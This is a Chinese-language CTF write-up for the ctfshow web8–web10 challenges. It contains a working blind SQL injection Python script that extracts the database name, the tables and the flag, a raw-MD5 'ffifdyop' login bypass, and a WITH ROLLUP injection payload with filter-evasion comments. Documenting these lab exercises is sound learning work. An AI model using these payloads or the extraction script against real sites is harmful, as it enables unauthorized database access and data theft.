今后有关ctfshow的解题都会在这里

ctfshow web8

sql注入,不过过滤了很多东西,常见的and,union空格

但依旧可以通过

GET /index.php?id=2/**/or/**/true#
GET /index.php?id=2/**/or/**/false#

来判断真假来注入

image.png

image.png

需要使用盲注,函数为ascii,原理就是比对

or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23

截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功

查询当前数据库的代码

import requests

def check_id(id_value, position):
    # position 递增
    url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#"
    
    response = requests.get(url, verify=False)

    # 长度大于 403 ASCII 
    if len(response.content) > 403:
        ascii_value = chr(id_value)
        return ascii_value
    return None

def main():
    inp = ""  
    position = 1  # 查询位置

    while position <= 5:
        for i in range(0, 128): # 遍历ascii
            result = check_id(i, position)  

            if result is not None:
                inp += result  
                print(f"Position: {position}, ASCII: {result}")
                position += 1  
                break  
    
    print(f"Final input: {inp}")

if __name__ == "__main__":
    main()

查询到数据库名称为web8

爆破表

-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{position}/**/for/**/1))={id_value}#

替换到脚本就好

import requests

def check_id(id_value, position):
    # position 递增
    url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{position}/**/for/**/1))={id_value}#"

    response = requests.get(url, verify=False)

    if len(response.content) > 403:
        ascii_value = chr(id_value)
        return ascii_value
    return None

def main():
    inp = ""  
    position = 1 


    while position <= 5:
        for i in range(0, 128):# 遍历ascii
            result = check_id(i, position) 

            if result is not None:
                inp += result  
                print(f"Position: {position}, ASCII: {result}")
                position += 1  
                break  
    
    print(f"Final input: {inp}")

if __name__ == "__main__":
    main()

得到表名flag

那就是查询flag了

-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/{position}/**/for/**/1))={id_value}#
ctfshow{bd536ebe-62a8-48a8-8e3e-050615f98c24}

ctfshow web9

有趣的md5数据库绕过

通过爆破找到了

image.png

内容为

User-agent: *
Disallow: /index.phps

寻迹找到的代码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

不难看出,用户可控的位置为password,传入了md5的函数,加上md5函数中的ture,输出就变为了二进制数据

echo md5('ffifdyop', true);//输出的是原始二进制数据

 php 1.php
'or'6{乱码}

解析后便导致这样的问题

image.png

ctfshow web10

点击取消获得源代码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

代码的关键逻辑大致如下

1 查询用户名

2 检查结果

3 密码验证

4 登入

其中用户可控的输入是username变量,注入也发生在这里,而登入判定多了检查结果与密码验证,虽不能直接 or了,需要让返回的password等于输入passowrd

查找资料后找到一个神奇sql语句with rollup,随便找来一个表演示

image.png

加上with rollup

image.png

这里多出了一个null,如果我们能在注入中让这个null出现,就能控制密码

原语句为

select * from user where username = '$username'

可以想办法注入为

select * from user where username = '$username' or 1=1 GROUP BY password with rollup

这样就能控制数据库回显一个null

那么payload就是

/**/or/**/1=1/**/GROUP/**/BY/**/password/**/with/**/rollup

image.png